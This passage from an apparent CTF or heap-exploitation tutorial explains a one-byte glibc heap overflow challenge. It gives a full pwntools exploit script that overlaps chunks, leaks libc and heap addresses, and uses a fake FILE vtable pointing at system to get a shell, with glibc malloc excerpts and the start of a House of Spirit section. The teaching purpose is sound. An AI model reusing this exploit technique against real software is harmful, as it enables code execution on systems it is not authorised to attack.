<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h3 id="challenge-solve">Challenge solve</h3>
<p>There are two main differences from the previous challenge.</p>
<p>First, we can only allocate chunks of size 0x60, so the chunk we use for the unsortedbin attack must be of size 0x68 instead; this will still fit in the 0x60 smallbin, but will avoid <kbd>_int_malloc</kbd>&rsquo;s fastpath that avoids binning when the chunk in the unsortedbin is an exact match for the requested size.</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3519
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3520
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3521
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3522
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3523
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3524
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3525
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3526
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3527
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3528
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3529
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3530
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Take now instead of binning if exact fit */</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (size <span style="color:#00d3d0">==</span> nb)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">set_inuse_bit_at_offset</span> (victim, size);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (av <span style="color:#00d3d0">!=</span> <span style="color:#00d3d0">&amp;</span>main_arena)
</span></span><span style="display:flex;"><span>    victim<span style="color:#00d3d0">-&gt;</span>size <span style="color:#00d3d0">|=</span> NON_MAIN_ARENA;
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">check_malloced_chunk</span> (av, victim, nb);
</span></span><span style="display:flex;"><span>    <span style="color:#6ae4b9">void</span> <span style="color:#00d3d0">*</span>p <span style="color:#00d3d0">=</span> <span style="color:#feacd0">chunk2mem</span> (victim);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">alloc_perturb</span> (p, bytes);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> p;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>Second, instead of a very generous heap overflow we can only overflow the first byte of the next chunk&rsquo;s size field (and flags).
Instead of clobbering the top chunk&rsquo;s size field like we did last time, we can allocate two chunks next to each other, double the first chunk&rsquo;s size, free this large chunk to put a 0xc0 sized chunk in the unsortedbin freelist and finally allocate a new 0x60 chunk to split the tail of the unsortedbin into two 0x60 sized chunks (the first of which is used to service the request).
This results in a UAF of the second chunk, which we can use to clobber unsortedbin linked list pointers (and ultimately leak libc/heap pointers and perform an FSOP attack).</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;one_byte&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">calloc</span>(size):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> size <span style="color:#00d3d0">!=</span> <span style="color:#00bcff">0x58</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">raise</span> Exception(<span style="color:#79a8ff">&#34;size must be 0x58&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> <span style="color:#f78fe7">len</span>(data) <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">0x59</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">raise</span> Exception(<span style="color:#79a8ff">&#34;data cannot be larger than 0x59 bytes&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">read</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    ret <span style="color:#00d3d0">=</span> proc<span style="color:#00d3d0">.</span>recvline()<span style="color:#00d3d0">.</span>strip()
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk C</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk D</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk E</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk F</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk G</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk H; protects other chunks against consolidation with top chunk</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x58</span> <span style="color:#00d3d0">+</span> p8(<span style="color:#00bcff">0xc0</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)) <span style="color:#a8a8a8"># make chunk B completely overlap chunk C</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">3</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;D&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x58</span> <span style="color:#00d3d0">+</span> p8(<span style="color:#00bcff">0xc0</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>)) <span style="color:#a8a8a8"># make chunk E overlap chunk F</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>) <span style="color:#a8a8a8"># free chunk B</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk B (+ C), size: 0xc0, fd: &amp;main_arena.top, bk: &amp;main_arena.top]</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk I; service this request from the tail of the unsortedbin, causing it to be split in two</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk C, size: 0x60, fd: &amp;main_arena.top, bk: &amp;main_arena.top]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># leaks</span>
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> u64(read(<span style="color:#00bcff">2</span>)[:<span style="color:#00bcff">8</span>]) <span style="color:#00d3d0">-</span> (libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>main_arena<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x58</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">4</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk E (+ F), size: 0xc0, fd: &amp;chunk_c, bk: &amp;main_arena.bins[0]-0x10] -&gt; [chunk C, size: 0x60, fd: &amp;main_arena.bins[0]-0x10, bk: &amp;chunk_e]</span>
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> u64(read(<span style="color:#00bcff">2</span>)[<span style="color:#00bcff">8</span>:<span style="color:#00bcff">16</span>]) <span style="color:#00d3d0">-</span> <span style="color:#00bcff">0x180</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk J</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk E (+ F), size: 0xc0, fd: &amp;main_arena.bins[0]-0x10, bk: &amp;main_arena.bins[0]-0x10]</span>
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk K</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk F, size: 0x60, fd: &amp;main_arena.bins[0]-0x10, bk: &amp;main_arena.bins[0]-0x10]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># construct fake file</span>
</span></span><span style="display:flex;"><span>fake_vtable <span style="color:#00d3d0">=</span> flat(
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0xcafebabe</span>),
</span></span><span style="display:flex;"><span>    p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system),
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">10</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;K&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x50</span> <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">+</span> p8(<span style="color:#00bcff">0x68</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>))
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">5</span>, flat(
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>_IO_list_all<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>), <span style="color:#a8a8a8"># chunk_f.bk</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">1</span>), <span style="color:#a8a8a8"># _IO_write_base</span>
</span></span><span style="display:flex;"><span>    p64(<span style="color:#00bcff">2</span>), <span style="color:#a8a8a8"># _IO_write_ptr</span>
</span></span><span style="display:flex;"><span>    fake_vtable,
</span></span><span style="display:flex;"><span>))
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">6</span>, flat(
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0xc0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x68</span>),
</span></span><span style="display:flex;"><span>    p32(<span style="color:#00bcff">0</span>), <span style="color:#a8a8a8"># _mode</span>
</span></span><span style="display:flex;"><span>))
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">7</span>, flat(
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">4</span>),
</span></span><span style="display:flex;"><span>    p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x210</span>), <span style="color:#a8a8a8"># vtable</span>
</span></span><span style="display:flex;"><span>))
</span></span><span style="display:flex;"><span>calloc(<span style="color:#00bcff">0x60</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk L; carry out unsortedbin attack</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="house-of-spirit">House of Spirit</h2>
<p>If we have control over a pointer passed to <kbd>free</kbd>, we can craft a fake chunk overlapping target memory for an arbitrary write.
But there are caveats: especially on newer versions of Glibc, chunks being freed are subject to a bevy of integrity checks, so our fake chunk has to be nearly indistinguishable from a real chunk.</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4167"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4167">4167</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4168"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4168">4168</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4169"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4169">4169</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4170"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4170">4170</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4171"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4171">4171</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4172"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4172">4172</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4173"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4173">4173</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4174"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4174">4174</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4175"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4175">4175</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4176"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4176">4176</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--d3da7a-4177"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--d3da7a-4177">4177</a>
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Little security check which won&#39;t hurt performance: the
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   allocator never wrapps around at the end of the address space.
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   Therefore we can exclude some size values which might appear
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   here by accident or by &#34;design&#34; from some intruder.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> ((<span style="color:#6ae4b9">uintptr_t</span>) p <span style="color:#00d3d0">&gt;</span> (<span style="color:#6ae4b9">uintptr_t</span>) <span style="color:#00d3d0">-</span>size, <span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#00d3d0">||</span> <span style="color:#feacd0">__builtin_expect</span> (<span style="color:#feacd0">misaligned_chunk</span> (p), <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;free(): invalid pointer&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">/* We know that each chunk is at least MINSIZE bytes in size or a
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   multiple of MALLOC_ALIGNMENT.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (size <span style="color:#00d3d0">&lt;</span> MINSIZE <span style="color:#00d3d0">||</span> <span style="color:#00d3d0">!</span><span style="color:#feacd0">aligned_OK</span> (size)))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;free(): invalid size&#34;</span>);</span></span></code></pre></td></tr></table>
</div>
</div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4306"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4306">4306</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4307"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4307">4307</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4308"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4308">4308</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4309"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4309">4309</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4310"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4310">4310</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4311"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4311">4311</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4312"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4312">4312</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4313"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4313">4313</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4314"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4314">4314</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4315"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4315">4315</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4316"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4316">4316</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4317"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4317">4317</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4318"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4318">4318</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4319"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4319">4319</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4320"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4320">4320</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4321"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4321">4321</a>
